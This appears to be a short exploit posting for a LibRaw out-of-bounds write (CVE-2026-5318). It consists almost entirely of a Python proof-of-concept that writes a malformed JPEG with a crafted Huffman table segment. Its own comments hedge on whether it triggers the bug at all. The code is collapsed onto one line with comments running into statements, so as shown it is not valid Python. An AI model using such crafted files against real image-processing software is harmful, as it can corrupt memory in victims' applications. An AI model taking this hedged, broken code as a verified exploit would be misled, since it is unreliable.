CVE-2026-5318 LibRaw越界写入漏洞

import struct def generate_malformed_jpeg(filename): # JPEG Start of Image data = b'\xff\xd8' # DHT Marker (Define Huffman Table) - 0xFFC4 # This PoC attempts to trigger the OOB write in HuffTable::initval # by crafting a specific DHT structure. dht_marker = b'\xff\xc4' # Length of the DHT field (example length) length = 0x0015 payload = struct.pack('>H', length) # Crafted bits[] data to potentially trigger the vulnerability # This simulates the manipulation of the argument mentioned in the CVE payload += b'\x00\x01\x02\x03\x04\x05' payload += b'\xFF' * (length - 2 - 6) data += dht_marker + payload # End of Image data += b'\xff\xd9' with open(filename, 'wb') as f: f.write(data) print(f"Malformed JPEG generated: {filename}") if __name__ == "__main__": generate_malformed_jpeg("cve_2026_5318_poc.jpg")